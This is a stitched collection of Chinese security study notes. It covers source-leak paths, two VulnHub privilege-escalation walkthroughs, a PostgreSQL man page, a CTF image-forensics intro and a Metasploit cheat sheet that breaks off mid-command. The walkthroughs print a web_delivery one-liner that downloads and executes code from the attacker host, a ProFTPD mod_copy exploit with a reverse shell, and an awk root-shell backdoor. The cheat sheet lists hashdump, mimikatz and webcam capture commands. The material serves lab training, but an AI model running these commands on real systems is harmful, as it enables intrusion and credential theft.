/.svn /.svn/wc.db /.svn/entries ``` [dvcs-ripper](https://github.com/kost/dvcs-ripper) ```shell perl rip-svn.pl -v -u http://www.example.com/.svn/ ``` [Seay - SVN](http://tools.40huo.cn/#!web.md#源码泄露) ### PHP通过WEB-INF / web.xml 泄露寻找源代码备份场景 WEB-INF 是 Java Web 应用的安全目录,web.xml 中有文件的映射关系。 WEB-INF 主要包含以下文件或目录: - `/WEB-INF/web.xml` :Web 应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 - `/WEB-INF/classes/` :包含站点所有用到的 class 文件,包括 servlet class 和非 servlet class,他们不能包含在 jar 文件中。 - `/WEB-INF/lib/` :存放 web 应用需要的各种 JAR 文件,放置仅在这个应用中要求使用的 jar 文件,如数据库驱动 jar 文件。 - `/WEB-INF/src/` :源码目录,按照包名结构放置各个 java 文件。 - `/WEB-INF/database.properties` :数据库配置文件。 通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,再通过反编译 class 文件,得到网站源码。 一般情况,jsp 引擎默认都是禁止访问 WEB-INF 目录的,Nginx 配合 Tomcat 做均衡负载或集群等情况时,问题原因其实很简单,Nginx 不会去考虑配置其他类型引擎(Nginx 不是 jsp 引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改 Nginx 配置文件禁止访问 WEB-INF 目录就好了: ```nginx location ~ ^/WEB-INF/* { deny all; } # 或者return 404; 或者其他! ``` ### PHP通过CVS 泄露寻找源代码备份场景 ``` http://url/CVS/Root 返回根信息 http://url/CVS/Entries 返回所有文件的结构 ``` 取回源码 ```shell bk clone http://url/name dir ```
sec-knowleage
# Escalate_Linux:1 > https://download.vulnhub.com/escalatelinux/Escalate_Linux.ova 靶场IP:`192.168.32.210` 扫描对外端口服务 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.210 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-07 04:09 EDT Nmap scan report for 192.168.32.210 Host is up (0.00057s latency). Not shown: 65526 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 111/tcp open rpcbind 2-4 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 2049/tcp open nfs_acl 3 (RPC #100227) 33923/tcp open nlockmgr 1-4 (RPC #100021) 35631/tcp open mountd 1-3 (RPC #100005) 38897/tcp open mountd 1-3 (RPC #100005) 48591/tcp open mountd 1-3 (RPC #100005) MAC Address: 00:0C:29:07:33:4C (VMware) Service Info: Host: LINUX Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.99 seconds ``` 浏览器访问80端口 ![image-20220907161053736](../../.gitbook/assets/image-20220907161053736.png) 爆破web目录 ``` ┌──(root💀kali)-[/tmp] └─# gobuster dir -e -u http://192.168.32.210 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,cgi,sh 1 ⨯ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.32.210 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: html,cgi,sh,php [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/09/07 04:11:39 Starting gobuster in directory enumeration mode =============================================================== http://192.168.32.210/index.html (Status: 200) [Size: 10918] http://192.168.32.210/shell.php (Status: 200) [Size: 29] http://192.168.32.210/server-status (Status: 403) [Size: 302] ``` 扫描发现有一个shell后门。 ![image-20220907161204802](../../.gitbook/assets/image-20220907161204802.png) 使用MSF生成payload ``` msf6 > use multi/script/web_delivery [*] Using configured payload python/meterpreter/reverse_tcp msf6 exploit(multi/script/web_delivery) > set lhost 192.168.32.130 lhost => 192.168.32.130 msf6 exploit(multi/script/web_delivery) > set SRVPORT 9999 SRVPORT => 9999 msf6 exploit(multi/script/web_delivery) > run [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.32.130:4444 [*] Using URL: http://0.0.0.0:9999/62DZkxo [*] Local IP: http://192.168.32.130:9999/62DZkxo [*] Server started. [*] Run the following command on the target machine: python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.32.130:9999/62DZkxo', context=ssl._create_unverified_context());exec(r.read());" ``` 需要对payload进行urlencode ![image-20220907161836598](../../.gitbook/assets/image-20220907161836598.png) 访问shell ``` meterpreter > execute -f /bin/bash -i -a "-i" Process 6239 created. Channel 1 created. bash: cannot set terminal process group (6236): Inappropriate ioctl for device bash: no job control in this shell Welcome to Linux Lite 4.4 Wednesday 07 September 2022, 04:18:57 Memory Usage: 354/985MB (35.94%) Disk Usage: 5/217GB (3%) Support - https://www.linuxliteos.com/forums/ (Right click, Open Link) user6 / | var | www | html user6 / | var | www | html ``` 查找suid文件 ``` find / -type f -perm -4001 -exec ls -l {} \; 2> /dev/null ``` ![image-20220907162038909](../../.gitbook/assets/image-20220907162038909.png) 提权成功 ![image-20230208135025760](../../.gitbook/assets/image-20230208135025760.png)
sec-knowleage
# digitalworld.local: JOY > https://download.vulnhub.com/digitalworld/JOY.7z 靶场IP:`192.168.32.201` 扫描对外端口 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.201 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-05 01:35 EDT Nmap scan report for 192.168.32.201 Host is up (0.00067s latency). Not shown: 65523 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.2.10 22/tcp open ssh Dropbear sshd 0.34 (protocol 2.0) 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.4.25 ((Debian)) 110/tcp open pop3 Dovecot pop3d 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap Dovecot imapd 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 465/tcp open smtp Postfix smtpd 587/tcp open smtp Postfix smtpd 993/tcp open ssl/imaps? 995/tcp open ssl/pop3s? MAC Address: 00:0C:29:7A:57:E5 (VMware) Service Info: Hosts: The, JOY.localdomain, JOY; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.43 seconds ``` ftp匿名访问登录 ![image-20220905133839349](../../.gitbook/assets/image-20220905133839349.png) 挂载FTP目录 ``` ┌──(root💀kali)-[/tmp] └─# curlftpfs 192.168.32.201 /tmp/ftp -ouser=anonymous 1 ⨯ Enter host password for user 'anonymous': ┌──(root💀kali)-[/tmp] └─# ls /tmp/ftp download upload ``` 查看`directory`文件 ``` ┌──(root💀kali)-[/tmp/ftp/upload] └─# cat directory Patrick's Directory total 120 drwxr-xr-x 18 patrick patrick 4096 Sep 5 13:50 . drwxr-xr-x 4 root root 4096 Jan 6 2019 .. -rw------- 1 patrick patrick 185 Jan 28 2019 .bash_history -rw-r--r-- 1 patrick patrick 220 Dec 23 2018 .bash_logout -rw-r--r-- 1 patrick patrick 3526 Dec 23 2018 .bashrc drwx------ 7 patrick patrick 4096 Jan 10 2019 .cache drwx------ 10 patrick patrick 4096 Dec 26 2018 .config drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Desktop drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Documents drwxr-xr-x 3 patrick patrick 4096 Jan 6 2019 Downloads -rw-r--r-- 1 patrick patrick 0 Sep 5 13:45 EzczfCzOZF7yUwnNToRmUTN9HZNTMGuC.txt drwx------ 3 patrick patrick 4096 Dec 26 2018 .gnupg -rwxrwxrwx 1 patrick patrick 0 Jan 9 2019 haha -rw-r--r-- 1 patrick patrick 24 Sep 5 13:40 hx4W3WGQZRcoMIQJO6ED5ckNNixeFnqQtcE6DivgoBdb4NouHZXXzreS4CtHgzVH.txt -rw-r--r-- 1 patrick patrick 0 Sep 5 13:35 i27zVrI0kA6yaHsS307x3sZJ6dRerZdc.txt -rw------- 1 patrick patrick 8532 Jan 28 2019 .ICEauthority -rw-r--r-- 1 patrick patrick 0 Sep 5 13:50 LMASecZUcFAnBQdOioq1EMxcNKdWQIuk.txt drwxr-xr-x 3 patrick patrick 4096 Dec 26 2018 .local drwx------ 5 patrick patrick 4096 Dec 28 2018 .mozilla drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Music -rw-r--r-- 1 patrick patrick 24 Sep 5 13:45 n3lvgrpKnzVIxNHPNaD519F1C0tNLAJj8JCJZ9D99HCTfUx8VH1bySAWcifgksUK.txt drwxr-xr-x 2 patrick patrick 4096 Jan 8 2019 .nano -rw-r--r-- 1 patrick patrick 24 Sep 5 13:35 NEHN0fadD1jggs7puHXo7lsFbknWOYxHKHfj7mP2FTd9bKPiieIu9c4hoYGOC0xu.txt drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Pictures -rw-r--r-- 1 patrick patrick 24 Sep 5 13:50 PPk4GvIwAZmkJN1w2kktymJ86REyIdeMkUpGVnXUeTmZjco2P0JxMKUkMW4gySjN.txt -rw-r--r-- 1 patrick patrick 675 Dec 23 2018 .profile drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Public -rw-r--r-- 1 patrick patrick 0 Sep 5 13:40 S2UQsLBUd5AiaERWaGtonnWIwuvMi346.txt d--------- 2 root root 4096 Jan 9 2019 script drwx------ 2 patrick patrick 4096 Dec 26 2018 .ssh -rw-r--r-- 1 patrick patrick 0 Jan 6 2019 Sun drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Templates -rw-r--r-- 1 patrick patrick 0 Jan 6 2019 .txt -rw-r--r-- 1 patrick patrick 407 Jan 27 2019 version_control drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Videos You should know where the directory can be accessed. Information of this Machine! Linux JOY 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux ``` telnet越权访问目录 ``` ┌──(root💀kali)-[/tmp/ftp/upload] └─# telnet 192.168.32.201 21 Trying 192.168.32.201... Connected to 192.168.32.201. Escape character is '^]'. 220 The Good Tech Inc. FTP Server site cpfr /home/patrick/version_control 350 File or directory exists, ready for destination name site cpto /home/ftp/upload/version_control 250 Copy successful ``` 找到FTP版本为:`1.3.5` ``` ┌──(root💀kali)-[/tmp/ftp/upload] └─# ls 1 ⨯ directory project_bravado project_emilio project_indigo project_luyano project_okacho project_ronaldinho project_toto project_vivino project_yolo reminder project_armadillo project_desperado project_flamingo project_komodo project_malindo project_polento project_sicko project_uno project_woranto project_zoo version_control ┌──(root💀kali)-[/tmp/ftp/upload] └─# cat version_control Version Control of External-Facing Services: Apache: 2.4.25 Dropbear SSH: 0.34 ProFTPd: 1.3.5 Samba: 4.5.12 We should switch to OpenSSH and upgrade ProFTPd. Note that we have some other configurations in this machine. 1. The webroot is no longer /var/www/html. We have changed it to /var/www/tryingharderisjoy. 2. I am trying to perform some simple bash scripting tutorials. Let me see how it turns out. ``` 查找FTP漏洞 ``` msf6 > search proftpd 1.3.5 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/ftp/proftpd_modcopy_exec 2015-04-22 excellent Yes ProFTPD 1.3.5 Mod_Copy Command Execution Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_modcopy_exec ``` 配置payload ``` msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/tryingharderisjoy SITEPATH => /var/www/tryingharderisjoy msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 192.168.32.201 RHOSTS => 192.168.32.201 msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload cmd/unix/reverse_python payload => cmd/unix/reverse_python msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set lhost 192.168.32.130 lhost => 192.168.32.130 msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run ``` ![image-20220905140752036](../../.gitbook/assets/image-20220905140752036.png) 找到用户和密码 ``` www-data@JOY:/var/www/tryingharderisjoy$ cd ossec cd ossec www-data@JOY:/var/www/tryingharderisjoy/ossec$ ls ls CONTRIB README.search img lib setup.sh LICENSE css index.php ossec_conf.php site README htaccess_def.txt js patricksecretsofjoy tmp www-data@JOY:/var/www/tryingharderisjoy/ossec$ cat patricksecretsofjoy cat patricksecretsofjoy credentials for JOY: patrick:apollo098765 root:howtheheckdoiknowwhattherootpasswordis how would these hack3rs ever find such a page? ``` 切换到patrick用户和查看sudo列表 ``` www-data@JOY:/var/www/tryingharderisjoy/ossec$ su patrick su patrick Password: apollo098765 patrick@JOY:/var/www/tryingharderisjoy/ossec$ sudo -l sudo -l Matching Defaults entries for patrick on JOY: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User patrick may run the following commands on JOY: (ALL) NOPASSWD: /home/patrick/script/test patrick@JOY:/var/www/tryingharderisjoy/ossec$ ``` ![image-20220905141432446](../../.gitbook/assets/image-20220905141432446.png) 因此我们决定将 /test 脚本替换为其他恶意脚本,但 /script 目录没有可写权限。 ![image-20220905141147961](../../.gitbook/assets/image-20220905141147961.png) 因此,我们再次决定使用 FTP 匿名登录来将真正的 /test 文件替换为伪造的 /test 文件,这将成为提供更高权限 shell 的后门。 ``` ┌──(root💀kali)-[/tmp/ftp/upload] └─# echo "awk 'BEGIN {system(\"/bin/bash\")}'" > test 1 ⨯ ┌──(root💀kali)-[/tmp/ftp/upload] └─# cat test awk 'BEGIN {system("/bin/bash")}' ``` ``` ┌──(root💀kali)-[/tmp/ftp/upload] └─# telnet 192.168.32.201 21 1 ⨯ Trying 192.168.32.201... Connected to 192.168.32.201. Escape character is '^]'. 220 The Good Tech Inc. FTP Server site cpfr /home/ftp/upload/test 350 File or directory exists, ready for destination name site cpto /home/patrick/script/test 250 Copy successful ``` 提权成功。 ![image-20230208134800683](../../.gitbook/assets/image-20230208134800683.png)
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "CREATE CONVERSION" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME CREATE CONVERSION \- 定义一个用户定义的码制转换 .SH SYNOPSIS .sp .nf CREATE [DEFAULT] CONVERSION \fIname\fR FOR \fIsource_encoding\fR TO \fIdest_encoding\fR FROM \fIfuncname\fR .sp .fi .SH "DESCRIPTION 描述" .PP \fBCREATE CONVERSION\fR 定义一种新的编码转换。 转换的名字可以用在 convert 函数内部声明特定的编码转换。 同样,标记为 DEFAULT 的转换可以用于在前端和后端之间的自动编码转换。 出于这个原因,我们必须定义两种转换,从编码 A 到 B 以及从编码 B 到 A。 .PP 为了可以创建转换,你必须在函数上有EXECUTE权限并且有在目标模式上的CREATE权限。 .SH "PARAMETERS 参数" .TP \fBDEFAULT\fR DEFAULT 子句表示这种转换对于从这种源编码到目的编码的情况是缺省的。在一个模式里每个编码对应该只有一个缺省编码。 .TP \fB\fIname\fB\fR 转换的名字。转换名可以用模式修饰。如果没有,那么转换就在当前模式中定义。转换名在一个模式里必须唯一。 .TP \fB\fIsource_encoding\fB\fR 源编码名。 .TP \fB\fIdest_encoding\fB\fR 目的编码名。 .TP \fB\fIfuncname\fB\fR 用于执行转换的函数。这个函数名可以用模式名修饰。 如果没有,那么将从路径中找出这个函数。 此函数必须有如下的样子: .sp .nf conv_proc( integer, -- 源编码 ID integer, -- 目的编码 ID cstring, -- 源字串(空结尾的 C 字串) cstring, -- 目的字串(空结尾的 C 字串) integer -- 源字串长度 ) RETURNS void; .sp .fi .SH "NOTES 注意" .PP 使用 DROP CONVERSION 删除用户定义的转换。 .PP 创建转换所需要的权限可能在未来的版本中改变。 .SH "EXAMPLES 例子" .PP 用 myfunc 创建一个从编码 UNICODE 到 LATIN1 的转换: .sp .nf CREATE CONVERSION myconv FOR 'UNICODE' TO 'LATIN1' FROM myfunc; .sp .fi .SH "COMPATIBILITY 兼容性" .PP \fBCREATE CONVERSION\fR 是 PostgreSQL 的扩展。 在 SQL 标准里没有CREATE CONVERSION 语句。 .SH "SEE ALSO 参见" ALTER CONVERSION [\fBalter_conversion\fR(7)], CREATE FUNCTION [\fBcreate_function\fR(l)], DROP CONVERSION [\fBdrop_conversion\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# 图片分析简介 图像文件能够很好地包含黑客文化,因此 CTF 竞赛中经常会出现各种图像文件。 图像文件有多种复杂的格式,可以用于各种涉及到元数据、信息丢失和无损压缩、校验、隐写或可视化数据编码的分析解密,都是 Misc 中的一个很重要的出题方向。涉及到的知识点很多(包括基本的文件格式,常见的隐写手法及隐写用的软件),有的地方也需要去进行深入的理解。 ## 元数据(Metadata) > 元数据(Metadata),又称中介数据、中继数据,为描述数据的数据(Data about data),主要是描述数据属性(property)的信息,用来支持如指示存储位置、历史数据、资源查找、文件记录等功能。 元数据中隐藏信息在比赛中是最基本的一种手法,通常用来隐藏一些关键的 `Hint` 信息或者是一些重要的如 `password` 等信息。 这类元数据你可以 `右键 --> 属性` 去查看,也可以通过 `strings` 命令去查看,一般来说,一些隐藏的信息(奇怪的字符串)常常出现在头部或者尾部。 接下来介绍一个 `identify` 命令,这个命令是用来获取一个或多个图像文件的格式和特性。 `-format` 用来指定显示的信息,灵活使用它的 `-format` 参数可以给解题带来不少方便。[format各个参数具体意义](https://www.imagemagick.org/script/escape.php) ### 例题 [Break In 2017 - Mysterious GIF](https://github.com/ctfs/write-ups-2017/tree/master/breakin-ctf-2017/misc/Mysterious-GIF) 这题的一个难点是发现并提取 GIF 中的元数据,首先 `strings` 是可以观察到异常点的。 ```shell GIF89a !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~ 4d494945767749424144414e42676b71686b6947397730424151454641415343424b6b776767536c41674541416f4942415144644d4e624c3571565769435172 NETSCAPE2.0 ImageMagick ... ``` 这里的一串16进制其实是藏在 GIF 的元数据区 接下来就是提取,你可以选择 Python,但是利用 `identify` 显得更加便捷 ```shell root in ~/Desktop/tmp λ identify -format "%s %c \n" Question.gif 0 4d494945767749424144414e42676b71686b6947397730424151454641415343424b6b776767536c41674541416f4942415144644d4e624c3571565769435172 1 5832773639712f377933536849507565707478664177525162524f72653330633655772f6f4b3877655a547834346d30414c6f75685634364b63514a6b687271 ... 24 484b7735432b667741586c4649746d30396145565458772b787a4c4a623253723667415450574d35715661756278667362356d58482f77443969434c684a536f 25 724b3052485a6b745062457335797444737142486435504646773d3d ``` 其他过程这里不在叙述,可参考链接中的 Writeup ## 像素值转化 看看这个文件里的数据,你能想到什么? ``` 255,255,255,255,255........... ``` 是一串 RGB 值,尝试着将他转化为图片 ```python from PIL import Image import re x = 307 #x坐标 通过对txt里的行数进行整数分解 y = 311 #y坐标 x*y = 行数 rgb1 = [****] print len(rgb1)/3 m=0 for i in xrange(0,x): for j in xrange(0,y): line = rgb1[(3*m):(3*(m+1))]#获取一行 m+=1 rgb = line im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素 im.show() im.save("flag.png") ``` 而如果反过来的话,从一张图片提取 RGB 值,再对 RGB 值去进行一些对比,从而得到最终的 flag。 这类题目大部分都是一些像素块组成的图片,如下图 相关题目: - [CSAW-2016-quals:Forensic/Barinfun](https://github.com/ctfs/write-ups-2016/tree/master/csaw-ctf-2016-quals/forensics/brainfun-50) - [breakin-ctf-2017:A-dance-partner](https://github.com/ctfs/write-ups-2017/tree/master/breakin-ctf-2017/misc/A-dance-partner)
sec-knowleage
# Metasploit <p align="center"> <img src="../../../assets/img/logo/metasploit.png" width="20%"> </p> > 注 : 笔记中拓扑图 xmind 源文件在其图片目录下 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **简介** Metasploit 是一个漏洞框架,拥有超过 1700 个漏洞利用程序,大大简化了渗透测试的工作,同时具有模块化的体系结构,渗透测试人员可以很方便的添加或修改exploit. **项目地址** - https://github.com/rapid7/metasploit-framework **文章 & Reference** - [MSF基础命令新手指南](https://www.jianshu.com/p/77ffbfc3a06c) - [[渗透神器系列]Metasploit](https://thief.one/2017/08/01/1/) - [给kali的Metasploit下添加一个新的exploit](https://blog.csdn.net/SilverMagic/article/details/40978081) - [linux - Metasploit: Module database cache not built yet, using slow search](https://serverfault.com/questions/761672/metasploit-module-database-cache-not-built-yet-using-slow-search) - [Nightly Installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers) - [探寻Metasploit Payload模式背后的秘密](https://www.freebuf.com/articles/system/187312.html) - [记一次PowerShell配合Metersploit的艰难提权](https://mp.weixin.qq.com/s/Y4rT3ECaSLNgr8KrG-xtTw) **图形化 UI** - [FunnyWolf/Viper](https://github.com/FunnyWolf/Viper) - 非常牛逼,推荐 - [WayzDev/Kage](https://github.com/WayzDev/Kage) - [rsmudge/armitage](https://github.com/rsmudge/armitage) --- ## 安装及维护 **安装** 使用 Rapid7 的一套快速安装项目 metasploit-omnibus,可以实现一句话安装 ``` curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall ``` 安装完成后位置 `/opt/metasploit-framework/embedded/framework/` **框架组成** Metasploit 主要包含了以下几个功能模块 - msfconsole:整个框架最基本的模块,所有的功能都可以该模块下运行。 - msfvenom:代替了 msfpayload 和 msfencode 的功能,效率更高。 - msfupdate:用于软件更新,更新漏洞库和利用代码。 - msfweb:Metasploit Framework 的 web 组件,支持多用户,是 Metasploit 图形化接口。 **目录结构** ```bash modules - auxiliary # 主要包含辅助性脚本(扫描、嗅探、注入、爆破,漏洞挖掘) - encoders # 主要包含各种编码工具,以便绕过入侵检测和过滤系统 - exploits # 漏洞利用,包含主流的漏洞利用脚本,exp 命名规则:系统/服务/模块 - nops # 绕过针对溢出攻击滑行字符串的拦截检测 - payloads # 攻击荷载,主要在目标机器执行代码 - post # 此目录放着 msf 的 exploit 执行成功后,向目标发送的一些功能性指令,如提权,获取 hash 等 - evasion # 新增,用来生成免杀 payload,类似于集成 msfvenom 功能 data # 存放 meterpreter ,passiveX,vnc,DLLs,等这些工具和一些用户接口代码,msfweb 和一些其他模块用到的数据文件 plugins # 这里的模块用户需要 load 来加载,提供数据库连接插件和各种要用到的插件 scripts # 这个目录下的文件大都是 meterpreter 这个模块利用的脚本,比如用到 migrate 来转移到其他进程的指令的源代码就在此 tools # 包含一些有用的脚本和零散的工具 ``` **启动** ```bash msfconsole # 运行 msfdb init # 初始化数据库 db_rebuild_cache # 重建缓存 db_status # 查看数据库连接情况 ``` **更新** 对于 kali 自带的 msf 可以使用 apt 更新 ```bash apt-get update apt-get install -y metasploit-framework ``` 嫌官方源速度慢可以添加阿里云的源 ```vim vim /etc/apt/sources.list deb http://mirrors.aliyun.com/kali kali-experimental main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-experimental main non-free contrib ``` 也可以直接使用 `msfupdate` **Module database cache not built yet, using slow search** > 注: 5.0.0 之后就不需要这个了 ```bash service postgresql start msfdb init db_rebuild_cache ``` **添加一个新的 exploit** 1. 在 `/usr/share/metasploit-framework/modules/exploits/` 目录下新建一个自定义文件夹 aaatest,将 rb 脚本扔进去 2. 启动 metasploit 3. 输入 reload_all 重新加载所有模块 4. use exploit/aaatest/exp(输入的时候可以用 tab 补全,如果不能补全说明就有问题) **msfvenom** 使用 msfvenom 生成 payload 内容见 [权限维持](../RedTeam/后渗透/权限维持.md#msfvenom) --- ## 基本使用 **启动** ```bash msfconsole -a # 退出Metasploit前询问或接受“exit-y” msfconsole -H # 历史文件文件将命令历史记录保存到指定文件 msfconsole -o # 将文件输出到指定文件 msfconsole -p # 插件插件在启动时加载插件 msfconsole -q # 安静不要在启动时打印横幅 (静默启动) msfconsole -r # 资源文件执行指定的资源文件(-对于stdin) msfconsole -x # execute command命令执行指定的控制台命令(用于多个) msfconsole -h # 帮助显示此消息 msfconsole -v # 显示版本信息 ``` **启动后** ```bash banner # 打印 banner color ['true'|'false'|'auto'] # 切换颜色显示 back # 返回 use # 指定模块 info # 查看模块信息 sessions # 查看会话 jobs # 显示当前运行进程 kill # 结束进程 reload_all # 重新加载所有模块 search # 搜索模块 version # 显示当前版本 show exploits # 查看所有可用的渗透攻击程序代码 show auxiliary # 查看所有可用的辅助攻击工具 show options # 查看该模块所有可用选项 show payloads # 查看该模块适用的所有载荷代码 show targets # 查看该模块适用的攻击目标类型 set # 设置一个特定的上下文变量的值 setg # 设置一个全局变量的值 threads # 查看和操作后台线程 unset # 取消设置一个或多个特定的上下文变量 unsetg # 取消设置一个或多个全局变量的 ``` --- ## 常用模块 **信息收集** 利用 auxiliary 这个模块来获取目标网端的信息,包括端口开放情况、主机存活情况. ```bash use auxiliary/scanner/discovery/arp_sweep # arp 扫描 use auxiliary/scancer/smb/smb_version # 存活的 445 主机 use auxiliary/scanner/portscan/syn # 端口扫描 use auxiliary/scanner/portscan/tcp # TCP 端口扫描 use auxiliary/scanner/telnet/telnet_version # telent 服务扫描 use auxiliary/scanner/rdp/rdp_scanner # 远程桌面服务扫描 use auxiliary/scanner/ssh/ssh_version # ssh 主机扫描 use auxiliary/scanner/smb/smb_version # smb 服务扫描 use auxiliary/scanner/ip/ipidseq # IPID 序列扫描器 use auxiliary/scanner/mssql/mssql_ping # mssql use auxiliary/scanner/http/webdav_scanner # webdav ``` **爆破** ```bash use auxiliary/scanner/mysql/mysql_login # 爆破 mysql use auxiliary/scanner/mssql/mssql_login # 爆破 mssql use auxiliary/scanner/ssh/ssh_login # 爆破 SSH use auxiliary/scanner/snmp/snmp_enum # 枚举 snmp use auxiliary/scanner/vnc/vnc_login # 爆破 VNC use auxiliary/scanner/http/tomcat_mgr_login # 爆破 tomcat ``` --- ## meterpreter Meterpreter 属于 stage payload,在 Metasploit Framework 中,Meterpreter 是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型 Payload。这种工具是基于 “内存 DLL 注入” 理念实现的,它能够通过创建一个新进程并调用注入的 DLL 来让目标系统运行注入的 DLL 文件。 首先目标先要执行初始的溢出漏洞会话连接,可能是 bind 正向连接,或者反弹 reverse 连接。反射连接的时候加载 dll 链接文件,同时后台悄悄处理 dll 文件。其次 Meterpreter 核心代码初始化, 通过 socket 套接字建立一个 TLS 加密隧道并发送 GET 请求给 Metasploit 服务端。Metasploit 服务端收到这个 GET 请求后就配置相应客户端。最后,Meterpreter 加载扩展,所有的扩展被加载都通过 TLS 进行数据传输。 ### Tips 可以将攻击代码写入 configure.rc(只要是以 .rc 结尾的文件)配置文件中,然后使用命令 ```bash msfconsole -r configure.rc ``` 进行自动攻击 --- ### 获取会话 **handler** ```bash use exploit/multi/handler set payload windows/x64/meterpreter_reverse_tcp set lhost [lhost] set lport [lport] exploit -j # 后台执行 ``` **cmdshell 升级为 meterpreter** 如果最开始获取的是 cmdshell,后来发现这台机器非常适合作为测试其它终端的跳板,这个时候 cmdshell 的功能已经不能满足需要,升级成 meterpreter 就十分有必要.`sessions -u "id"` 将该 cmdshell 升级成 meterpreter **注意事项** 如果 meterpreter session 创建成功了,但很快就断连,此时应该修改使用的 payload,优先改成 generic/shell_reverse_tcp 等 如果还不成功,切换回连端口或者改成 bind shell 试试 --- ### 信息收集 **查看权限** ```bash getuid # 查看当前用户 load powershell powershell_shell PS > Get-Acl -Path HKLM:\SAM\SAM | Format-List # 查看 Users 或 Everyone 是否有 SAM 注册表项的读取权限 ``` **截屏** ```bash use espia screenshot screengrab ``` **摄像头** ```bash webcam_snap -i 1 -v fales # 不开闪光灯拍照 ``` **环境检测** ```bash run post/windows/gather/checkvm # 是否虚拟机 run post/linux/gather/checkvm # 是否虚拟机 run post/windows/gather/enum_applications # 获取目标主机安装软件信息; run post/windows/gather/enum_patches # 查看目标主机的补丁信息; run post/windows/gather/enum_domain # 查找目标主机域控. run post/windows/gather/enum_logged_on_users # 列举当前登录过主机的用户; run post/windows/gather/credentials/windows_autologin # 抓取自动登录的用户名和密码; run post/windows/gather/forensics/enum_drives # 查看分区 run post/windows/gather/enum_applications # 获取安装软件信息 run post/windows/gather/dumplinks # 获取最近的文件操作 run post/windows/gather/enum_ie # 获取 IE 缓存 run post/windows/gather/enum_chrome # 获取 Chrome 缓存 run post/windows/gather/enum_patches # 补丁信息 run post/windows/gather/enum_domain # 查找域控 run post/linux/busybox/enum_hosts # 读取/var/hosts run post/windows/gather/enum_hostfile # 读取 %windir%\system32\drivers\etc\hosts ``` **抓取密码** ```bash run hashdump # 获取用户密码 hash 值 load mimikatz # 加载 mimikatz,用于抓取密码,不限于明文密码和 hash 值; msv # 获取的是 hash 值 ssp # 获取的是明文信息 kerberos wdigest # 读取内存中存放的账号密码明文信息 mimikatz_command -f samdump::hashes # 获取用户 hash mimikatz_command -f handle::list # 列出应用进程 mimikatz_command -f service::list # 列出服务 run 